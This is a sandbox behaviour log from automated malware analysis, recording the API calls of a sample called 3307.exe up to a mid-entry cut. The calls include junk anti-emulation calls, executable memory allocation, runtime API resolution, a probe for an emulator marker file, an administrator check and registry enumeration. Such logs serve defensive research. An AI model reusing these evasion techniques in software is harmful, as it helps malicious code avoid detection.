# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 07.11.2019 18:20:57.314 Process: id = "1" image_name = "3307.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe" page_root = "0x4f3bd000" os_pid = "0x938" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x93c [0023.262] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa30 | out: lpTimeZoneInformation=0x18fa30) returned 0x2 [0023.274] GetCurrentProcess () returned 0xffffffff [0023.274] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x18fa1c | out: lpExitCode=0x18fa1c*=0x103) returned 1 [0023.275] GetForegroundWindow () returned 0x101a6 [0023.275] GetCaretBlinkTime () returned 0x212 [0023.275] GetFileType (hFile=0xf710cd) returned 0x0 [0023.275] GetConsoleProcessList (in: lpdwProcessList=0x18fadc, dwProcessCount=0x1 | out: lpdwProcessList=0x18fadc) returned 0x0 [0023.275] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x18f9e8 | out: pcyOut=0x18f9e8) returned 0x0 [0023.277] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0023.277] GetCommState (in: hFile=0x3b268c, lpDCB=0x18f850 | out: lpDCB=0x18f850) returned 0 [0023.278] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x18f84c, pmr=0x18f838, cht=0x353) returned 0 [0023.279] CloseClipboard () returned 0 [0023.279] CoUninitialize () [0023.279] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0023.279] ReleaseMutex (hMutex=0xa0) returned 0 [0023.279] CloseHandle (hObject=0xa0) returned 1 [0023.279] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0023.279] GetCommState (in: hFile=0x3b268c, lpDCB=0x18f850 | out: lpDCB=0x18f850) returned 0 [0023.279] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x18f84c, pmr=0x18f838, cht=0x353) returned 0 [0023.279] CloseClipboard () returned 0 [0023.279] CoUninitialize () [0023.279] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0023.279] ReleaseMutex (hMutex=0xa0) returned 0 [0023.279] CloseHandle (hObject=0xa0) returned 1 [0023.279] GetLocalTime (in: lpSystemTime=0x18faec | out: lpSystemTime=0x18faec*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x15, wSecond=0x12, wMilliseconds=0x262)) [0023.280] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f56c | out: ProcedureAddress=0x18f56c*=0x76c31856) returned 0x0 [0023.280] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x190000 [0023.343] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f56c | out: ProcedureAddress=0x18f56c*=0x76c31856) returned 0x0 [0023.343] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0023.344] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18f604 | out: ProcedureAddress=0x18f604*=0x76c349d7) returned 0x0 [0023.344] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18f604 | out: ProcedureAddress=0x18f604*=0x76c31222) returned 0x0 [0023.345] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f604 | out: ProcedureAddress=0x18f604*=0x76c31856) returned 0x0 [0023.345] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18f604 | out: ProcedureAddress=0x18f604*=0x76c3435f) returned 0x0 [0023.345] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0023.345] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0023.345] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0023.345] VirtualProtect (in: lpAddress=0x1190000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x18f6b8 | out: lpflOldProtect=0x18f6b8*=0x2) returned 1 [0023.347] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0xb20000 [0023.350] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0023.350] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0023.350] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0023.350] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0023.740] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0023.753] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xc00000 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x104) returned 0xc007d0 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc008e0 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00968 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc009f0 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00a78 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00b00 [0023.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00b88 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00c10 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00c98 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00d20 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00da8 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00e30 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00eb8 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00f40 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc00fc8 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc01050 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x80) returned 0xc010d8 [0023.764] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x8, Size=0x400) returned 0xc01160 [0023.764] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xdd0000 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdd07d0 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdd0858 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdd08e0 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x184) returned 0xdd0968 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0af8 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0b40 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0b88 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0bd0 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0c18 [0023.764] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0c60 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0ca8 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0cf0 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0d38 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0d80 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0dc8 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0e10 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0e58 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0ea0 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0ee8 [0023.765] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0f30 [0023.765] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f1fc, nSize=0x1000 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3307.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3307.exe")) returned 0x2e [0023.766] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xdd0f78 [0023.766] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2c) returned 0xddb828 [0023.778] GetVersionExW (in: lpVersionInformation=0x18f81c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18f81c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0023.778] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18f804 | out: Wow64Process=0x18f804) returned 1 [0023.778] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18f7e0 | out: TokenHandle=0x18f7e0*=0xa0) returned 1 [0023.778] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f7dc | out: TokenInformation=0x0, ReturnLength=0x18f7dc) returned 0 [0023.778] GetLastError () returned 0x7a [0023.779] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x140) returned 0xddb860 [0023.779] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0xddb860, TokenInformationLength=0x118, ReturnLength=0x18f7dc | out: TokenInformation=0xddb860, ReturnLength=0x18f7dc) returned 1 [0023.779] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18f7ec, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18f7e4 | out: pSid=0x18f7e4*=0x2a2a58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0023.779] EqualSid (pSid1=0x2a2a58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xddb8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0023.779] EqualSid (pSid1=0x2a2a58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xddb8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0023.779] EqualSid (pSid1=0x2a2a58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xddb8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0023.779] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddb860) returned 1 [0023.779] NtClose (Handle=0xa0) returned 0x0 [0023.779] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddb860 [0023.780] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddb8a8 [0023.781] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x280) returned 0xddb930 [0023.783] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0023.790] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xddb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0023.790] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.790] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbc58 [0023.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xddbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0023.790] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbca0 [0023.790] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbc58) returned 1 [0023.790] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbca0) returned 1 [0023.790] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.790] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xddb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0023.790] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.790] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbca0 [0023.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xddbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0023.790] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbc58 [0023.790] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbca0) returned 1 [0023.790] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbc58) returned 1 [0023.790] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.790] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xddb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbc58 [0023.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xddbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbca0 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbc58) returned 1 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbca0) returned 1 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.791] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xddb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbca0 [0023.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xddbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbc58 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbca0) returned 1 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbc58) returned 1 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.791] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xddb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbc58 [0023.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xddbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbca0 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbc58) returned 1 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbca0) returned 1 [0023.791] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.791] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f774 | out: phkResult=0x18f774*=0xa0) returned 0x0 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x184) returned 0xddd040 [0023.791] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbca0 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbc58 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbce8 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbd30 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbd78 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbdc0 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbe08 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbe50 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbe98 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbee0 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbf28 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbf70 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddbfb8 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc000 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc048 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc090 [0023.792] RegCloseKey (hKey=0x80000002) returned 0x0 [0023.792] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xddb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xddc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.792] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.792] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.792] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.792] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xddb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0023.792] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.792] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.792] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.793] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xddb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0023.793] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbbb8) returned 1 [0023.793] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xddb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbbb8 [0023.793] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.793] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0023.793] WideCharToMultiByte (in: CodePage=0x0, 